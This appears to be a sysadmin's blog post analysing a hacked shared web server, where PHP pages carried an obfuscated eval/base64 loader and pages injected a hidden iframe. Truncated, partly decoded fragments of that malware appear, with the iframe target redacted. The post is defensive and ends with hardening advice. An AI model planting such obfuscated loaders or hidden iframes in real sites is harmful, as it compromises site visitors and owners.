A couple of people sent me an email yesterday saying that one of the web sites I manage was a bit slow and in some cases it was crashing their browsers. As soon as I had a bit of time to check the website it was immediately clear that it wasn’t a configuration problem or CSS bug: the main page was trying to include strange links. I had a quick look at the source code of the page returned by the web server (using curl):

1
2
3

<script type="text/javascript">
// A lot of stuff here
  document.write("<iframe src='SOME LINK HERE' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");

I sat down with another sysadmin and we immediately found out that there was a problem with some of the php pages of this site and of other web sites on the same server. All the affected php pages had the first line containing the following php code:

<?php    eval(gzinflate(base64_decode('7L0HYBxJliUmL23Ke39K9UrX [...]'))); ?>

After decoding, this code does the following:

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php 
   // [...]
   $dbf=$dr.'/'.md5(date('m.d.y'));
   $odbf = $dr.'/'.md5(date('m.d.y'),time()-86400);
   if (file_exists($odbf))
     @unlink($odbf);
   if(strpos(@file_get_contents($dbf),$ip) === false){
      if( !preg_match('#bot|spider|crawl|slurp|yandex#i', $_SERVER['HTTP_USER_AGENT'])) {
        print "<script-->try{window.document.body= [...]; n=["9","9","45","42","17" [...] "
     }
   }
}
?>

The line

  print "<script-->try{window.document.body= [...]; n=["9","9","45","42","17" [...] ";

contains yet another encoded string (the variable n) that is passed to the browser, and then interpreted by the client to generate HTML code similar to the following:

1
2

  // A lot of stuff here
  document.write("<iframe src='SOME LINK HERE' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");

And this is a standard frame injection. We did a bit of analysis and we found that:

• php.ini was configured to allow fopen of URL
• Various folders were writable by the web server
• All the infected files were owned / writable by the user running the web server

In essence: a cross-site scripting exploit that took advantage of writable folders in a shared environment. Thus, for your next installation of WordPress, have a look at Hardening WordPress, and in particular at the File Permissions section.